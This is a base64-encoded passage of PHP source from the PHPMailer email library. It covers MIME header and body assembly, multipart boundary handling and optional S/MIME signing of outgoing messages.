UkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkdGhpcy0+RW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgIC8vIFJGQyAyMDQ1IHNlY3Rpb24gNi40IHNheXMgbXVsdGlwYXJ0IE1JTUUgcGFydHMgbWF5IG9ubHkgdXNlIDdiaXQsIDhiaXQgb3IgYmluYXJ5IENURQogICAgICAgICAgICBpZiAoJGlzbXVsdGlwYXJ0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPkVuY29kaW5nID09ICc4Yml0JykgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAnOGJpdCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gVGhlIG9ubHkgcmVtYWluaW5nIGFsdGVybmF0aXZlcyBhcmUgcXVvdGVkLXByaW50YWJsZSBhbmQgYmFzZTY0LCB3aGljaCBhcmUgYm90aCA3Yml0IGNvbXBhdGlibGUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybnMgdGhlIHdob2xlIE1JTUUgbWVzc2FnZS4KICAgICAqIEluY2x1ZGVzIGNvbXBsZXRlIGhlYWRlcnMgYW5kIGJvZHkuCiAgICAgKiBPbmx5IHZhbGlkIHBvc3QgcHJlU2VuZCgpLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnByZVNlbmQoKQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTZW50TUlNRU1lc3NhZ2UoKQogICAgewogICAgICAgIHJldHVybiBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciAuICR0aGlzLT5tYWlsSGVhZGVyLCAiXG5cciIpIC4gc2VsZjo6Q1JMRiAuIHNlbGY6OkNSTEYgLiAkdGhpcy0+TUlNRUJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdW5pcXVlIElECiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVJZCgpIHsKICAgICAgICByZXR1cm4gbWQ1KHVuaXFpZCh0aW1lKCkpKTsKICAgIH0KCiAgICAvKioKICAgICAqIEFzc2VtYmxlIHRoZSBtZXNzYWdlIGJvZHkuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgYXNzZW1ibGVkIG1lc3NhZ2UgYm9keQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQm9keSgpCiAgICB7CiAgICAgICAgJGJvZHkgPSAnJzsKICAgICAgICAvL0NyZWF0ZSB1bmlxdWUgSURzIGFuZCBwcmVzZXQgYm91bmRhcmllcwogICAgICAgICR0aGlzLT51bmlxdWVpZCA9ICR0aGlzLT5nZW5lcmF0ZUlkKCk7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzFdID0gJ2IxXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzJdID0gJ2IyXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzNdID0gJ2IzXycgLiAkdGhpcy0+dW5pcXVlaWQ7CgogICAgICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKSAuICR0aGlzLT5MRTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5zZXRXb3JkV3JhcCgpOwoKICAgICAgICAkYm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRib2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGJvZHkgcGFydCBvbmx5CiAgICAgICAgaWYgKCdiYXNlNjQnICE9ICR0aGlzLT5FbmNvZGluZyBhbmQgc2VsZjo6aGFzTGluZUxvbmdlclRoYW5NYXgoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAncXVvdGVkLXByaW50YWJsZSc7CiAgICAgICAgfQoKICAgICAgICAkYWx0Qm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYWx0Qm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkFsdEJvZHkpKSB7CiAgICAgICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYWx0Qm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGFsdCBib2R5IHBhcnQgb25seQogICAgICAgIGlmICgnYmFzZTY0JyAhPSAkYWx0Qm9keUVuY29kaW5nIGFuZCBzZWxmOjpoYXNMaW5lTG9uZ2VyVGhhbk1heCgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAgICAgJGFsdEJvZHlFbmNvZGluZyA9ICdxdW90ZWQtcHJpbnRhYmxlJzsKICAgICAgICB9CiAgICAgICAgLy9Vc2UgdGhpcyBhcyBhIHByZWFtYmxlIGluIGFsbCBtdWx0aXBhcnQgbWVzc2FnZSB0eXBlcwogICAgICAgICRtaW1lcHJlID0gIlRoaXMgaXMgYSBtdWx0aS1wYXJ0IG1lc3NhZ2UgaW4gTUlNRSBmb3JtYXQuIiAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkljYWwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJycsICd0ZXh0L2NhbGVuZGFyOyBtZXRob2Q9UkVRVUVTVCcsICcnKTsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmVfYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbM10gLiAnIicpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVszXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVszXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaCBjYXNlICdwbGFpbicgYW5kIGNhc2UgJycsIGFwcGxpZXMgdG8gc2ltcGxlIGB0ZXh0L3BsYWluYCBhbmQgYHRleHQvaHRtbGAgYm9keSBjb250ZW50IHR5cGVzCiAgICAgICAgICAgICAgICAvL1Jlc2V0IHRoZSBgRW5jb2RpbmdgIHByb3BlcnR5IGluIGNhc2Ugd2UgY2hhbmdlZCBpdCBmb3IgbGluZSBsZW5ndGggcmVhc29ucwogICAgICAgICAgICAgICAgJHRoaXMtPkVuY29kaW5nID0gJGJvZHlFbmNvZGluZzsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgfSBlbHNlaWYgKCR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykgLiAnb3BlbnNzbCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gQFRPRE8gd291bGQgYmUgbmljZSB0byB1c2UgcGhwOi8vdGVtcCBzdHJlYW1zIGhlcmUsIGJ1dCBuZWVkIHRvIHdyYXAgZm9yIFBIUCA8IDUuMQogICAgICAgICAgICAgICAgJGZpbGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ21haWwnKTsKICAgICAgICAgICAgICAgIGlmIChmYWxzZSA9PT0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKSAuICcgQ291bGQgbm90IHdyaXRlIHRlbXAgZmlsZScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgICAgICAgICAvL1dvcmthcm91bmQgZm9yIFBIUCBidWcgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD02OTE5NwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLAogICAgICAgICAgICAgICAgICAgICAgICAkc2lnbmVkLAogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLAogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwKICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUsCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksCiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KCdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2tleV9maWxlKSwgJHRoaXMtPnNpZ25fa2V5X3Bhc3MpLAogICAgICAgICAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgICAgICAgICBQS0NTN19ERVRBQ0hFRCwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2lnbikgewogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXAKICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCJcblxuIiwgJGJvZHksIDIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICRwYXJ0c1swXSAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICAgICAkYm9keSA9ICRwYXJ0c1sxXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzaWduaW5nJykgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYm9keTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgc3RhcnQgb2YgYSBtZXNzYWdlIGJvdW5kYXJ5LgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5